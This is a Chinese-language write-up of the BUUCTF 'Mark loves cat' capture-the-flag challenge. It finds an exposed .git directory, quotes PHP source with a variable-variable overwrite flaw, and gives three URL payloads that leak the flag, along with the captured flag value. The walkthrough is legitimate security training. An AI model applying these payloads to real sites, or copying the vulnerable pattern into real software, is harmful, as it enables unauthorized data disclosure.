BUUCTF——Mark loves cat
BUUCTF——Mark loves cat
进入靶场

简单的看了一下功能点
扫一下目录吧

扫目录发现一个.git
下一下源码看看

找到个flag.php和index.php

<?php$flag = file_get_contents('/flag');
再看看index.php(代码有点长,所以只留了后面有用的)
<?phpinclude 'flag.php';$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_POST as $x => $y){$$x = $y;
}foreach($_GET as $x => $y){$$x = $$y;
}foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){exit($is);
}echo "the flag is: ".$flag;
根据代码这道题应该有几种解法
一个一个来吧
方法一、
foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}
}
先看第一个
$_GET['flag'] === $x:该条件检查$_GET['flag']的值是否和当前遍历到的参数名$x完全相等。===是严格相等比较运算符,它不仅会比较值,还会比较数据类型。
$x !== 'flag':此条件保证当前遍历到的参数名不是flag本身。
当$x = 'flag',$y = 'name'时,$_GET['flag'] === $x 为 false,因为$_GET['flag']的值是'name',而$x的值是'flag',所以不满足条件。
构造payload
?handsome=flag&flag=handsome

拿到flag
flag{43a901d4-8f66-43df-a525-9ce47464b283}
方法二、
if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}
这段代码的主要功能是检查当前的 HTTP 请求中是否包含名为 flag 的参数。如果 GET 请求和 POST 请求里都没有 flag 参数,就会输出 $yds 变量的值,然后终止当前代码的执行。

所以构造payload
?yds=flag

拿到flag
flag{43a901d4-8f66-43df-a525-9ce47464b283}
方法三、
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){exit($is);
}
这段代码的主要功能是检查当前的 HTTP 请求中,flag 参数的值是否严格等于字符串 'flag'。如果满足这个条件,就会输出变量 $is 的值,并终止当前代码的执行。
构造payload
?is=flag&flag=flag

拿到flag
flag{43a901d4-8f66-43df-a525-9ce47464b283}
下播!!!

